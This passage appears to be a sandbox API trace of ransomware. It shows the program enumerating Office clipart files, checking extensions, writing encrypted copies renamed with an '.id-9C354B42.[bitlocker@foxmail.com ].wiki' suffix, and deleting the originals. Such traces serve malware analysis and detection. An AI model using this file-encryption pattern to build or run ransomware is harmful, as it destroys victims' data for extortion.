(lpString1=".dbf", lpString2=".WMF") returned -1 [0063.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.787] lstrlenW (lpString=".1cd") returned 4 [0063.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0063.787] lstrlenW (lpString=".jpg") returned 4 [0063.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.787] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0063.787] lstrlenW (lpString="BD19563_.GIF") returned 12 [0063.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.569] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=20454) returned 1 [0064.569] CloseHandle (hObject=0x1a4) returned 1 [0064.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0064.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.582] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.667] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0064.675] GetLastError () returned 0x0 [0064.675] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0064.684] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0064.685] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.685] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.685] SetEndOfFile (hFile=0x224) returned 1 [0064.685] CloseHandle (hObject=0x224) returned 1 [0064.685] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.685] SetEndOfFile (hFile=0x1a4) returned 1 [0064.686] CloseHandle (hObject=0x1a4) returned 1 [0064.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0064.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.686] lstrlenW (lpString=".doc") returned 4 [0064.686] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0064.686] lstrlenW (lpString=".docx") returned 5 [0064.686] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0064.686] lstrlenW (lpString=".pdf") returned 4 [0064.686] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0064.686] lstrlenW (lpString=".xls") returned 4 [0064.687] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0064.687] lstrlenW (lpString=".xlsx") returned 5 [0064.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0064.687] lstrlenW (lpString=".ppt") returned 4 [0064.687] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0064.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.687] lstrlenW (lpString=".zip") returned 4 [0064.687] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0064.687] lstrlenW (lpString=".rar") returned 4 [0064.687] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0064.687] lstrlenW (lpString=".bz2") returned 4 [0064.687] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0064.687] lstrlenW (lpString=".7z") returned 3 [0064.687] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0064.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.687] lstrlenW (lpString=".dbf") returned 4 [0064.687] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0064.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.687] lstrlenW (lpString=".1cd") returned 4 [0064.687] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0064.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.687] lstrlenW (lpString=".jpg") returned 4 [0064.687] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0064.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.687] lstrlenW (lpString=".doc") returned 4 [0064.687] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0064.687] lstrlenW (lpString=".docx") returned 5 [0064.687] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0064.687] lstrlenW (lpString=".pdf") returned 4 [0064.687] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0064.687] lstrlenW (lpString=".xls") returned 4 [0064.687] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0064.687] lstrlenW (lpString=".xlsx") returned 5 [0064.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0064.688] lstrlenW (lpString=".ppt") returned 4 [0064.688] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0064.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.688] lstrlenW (lpString=".zip") returned 4 [0064.688] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0064.688] lstrlenW (lpString=".rar") returned 4 [0064.688] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0064.688] lstrlenW (lpString=".bz2") returned 4 [0064.688] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0064.688] lstrlenW (lpString=".7z") returned 3 [0064.688] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0064.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.688] lstrlenW (lpString=".dbf") returned 4 [0064.688] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0064.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.688] lstrlenW (lpString=".1cd") returned 4 [0064.688] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0064.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0064.688] lstrlenW (lpString=".jpg") returned 4 [0064.688] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0064.688] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.688] lstrlenW (lpString="BD20013_.WMF") returned 12 [0064.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.688] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=11058) returned 1 [0064.688] CloseHandle (hObject=0x1a4) returned 1 [0064.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0064.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.689] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.689] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0064.689] GetLastError () returned 0x0 [0064.689] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x2b32, lpOverlapped=0x0) returned 1 [0064.693] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0064.694] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.694] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.694] SetEndOfFile (hFile=0x224) returned 1 [0064.694] CloseHandle (hObject=0x224) returned 1 [0064.694] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.694] SetEndOfFile (hFile=0x1a4) returned 1 [0064.695] CloseHandle (hObject=0x1a4) returned 1 [0064.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0064.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.696] lstrlenW (lpString=".doc") returned 4 [0064.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.696] lstrlenW (lpString=".docx") returned 5 [0064.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.696] lstrlenW (lpString=".pdf") returned 4 [0064.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.696] lstrlenW (lpString=".xls") returned 4 [0064.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.696] lstrlenW (lpString=".xlsx") returned 5 [0064.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.696] lstrlenW (lpString=".ppt") returned 4 [0064.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.696] lstrlenW (lpString=".zip") returned 4 [0064.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.696] lstrlenW (lpString=".rar") returned 4 [0064.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.696] lstrlenW (lpString=".bz2") returned 4 [0064.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.696] lstrlenW (lpString=".7z") returned 3 [0064.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.696] lstrlenW (lpString=".dbf") returned 4 [0064.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.696] lstrlenW (lpString=".1cd") returned 4 [0064.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.696] lstrlenW (lpString=".jpg") returned 4 [0064.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.696] lstrlenW (lpString=".doc") returned 4 [0064.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.696] lstrlenW (lpString=".docx") returned 5 [0064.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.697] lstrlenW (lpString=".pdf") returned 4 [0064.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.697] lstrlenW (lpString=".xls") returned 4 [0064.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.697] lstrlenW (lpString=".xlsx") returned 5 [0064.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.697] lstrlenW (lpString=".ppt") returned 4 [0064.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.697] lstrlenW (lpString=".zip") returned 4 [0064.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.697] lstrlenW (lpString=".rar") returned 4 [0064.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.697] lstrlenW (lpString=".bz2") returned 4 [0064.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.697] lstrlenW (lpString=".7z") returned 3 [0064.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.697] lstrlenW (lpString=".dbf") returned 4 [0064.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.697] lstrlenW (lpString=".1cd") returned 4 [0064.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0064.697] lstrlenW (lpString=".jpg") returned 4 [0064.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.697] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.697] lstrlenW (lpString="BL00008_.WMF") returned 12 [0064.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.698] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=12520) returned 1 [0064.698] CloseHandle (hObject=0x1a4) returned 1 [0064.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0064.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.699] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.699] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0064.699] GetLastError () returned 0x0 [0064.699] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x30e8, lpOverlapped=0x0) returned 1 [0064.701] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0064.702] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.702] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.702] SetEndOfFile (hFile=0x224) returned 1 [0064.702] CloseHandle (hObject=0x224) returned 1 [0064.702] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.702] SetEndOfFile (hFile=0x1a4) returned 1 [0064.703] CloseHandle (hObject=0x1a4) returned 1 [0064.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0064.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.704] lstrlenW (lpString=".doc") returned 4 [0064.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.704] lstrlenW (lpString=".docx") returned 5 [0064.704] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.704] lstrlenW (lpString=".pdf") returned 4 [0064.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.704] lstrlenW (lpString=".xls") returned 4 [0064.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.704] lstrlenW (lpString=".xlsx") returned 5 [0064.704] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.704] lstrlenW (lpString=".ppt") returned 4 [0064.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.704] lstrlenW (lpString=".zip") returned 4 [0064.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.704] lstrlenW (lpString=".rar") returned 4 [0064.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.704] lstrlenW (lpString=".bz2") returned 4 [0064.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.704] lstrlenW (lpString=".7z") returned 3 [0064.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.704] lstrlenW (lpString=".dbf") returned 4 [0064.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.704] lstrlenW (lpString=".1cd") returned 4 [0064.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.704] lstrlenW (lpString=".jpg") returned 4 [0064.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.705] lstrlenW (lpString=".doc") returned 4 [0064.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.705] lstrlenW (lpString=".docx") returned 5 [0064.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.705] lstrlenW (lpString=".pdf") returned 4 [0064.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.705] lstrlenW (lpString=".xls") returned 4 [0064.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.705] lstrlenW (lpString=".xlsx") returned 5 [0064.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.705] lstrlenW (lpString=".ppt") returned 4 [0064.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.705] lstrlenW (lpString=".zip") returned 4 [0064.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.705] lstrlenW (lpString=".rar") returned 4 [0064.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.705] lstrlenW (lpString=".bz2") returned 4 [0064.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.705] lstrlenW (lpString=".7z") returned 3 [0064.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.705] lstrlenW (lpString=".dbf") returned 4 [0064.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.705] lstrlenW (lpString=".1cd") returned 4 [0064.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0064.705] lstrlenW (lpString=".jpg") returned 4 [0064.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.705] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.706] lstrlenW (lpString="BL00012_.WMF") returned 12 [0064.706] CreateFileW 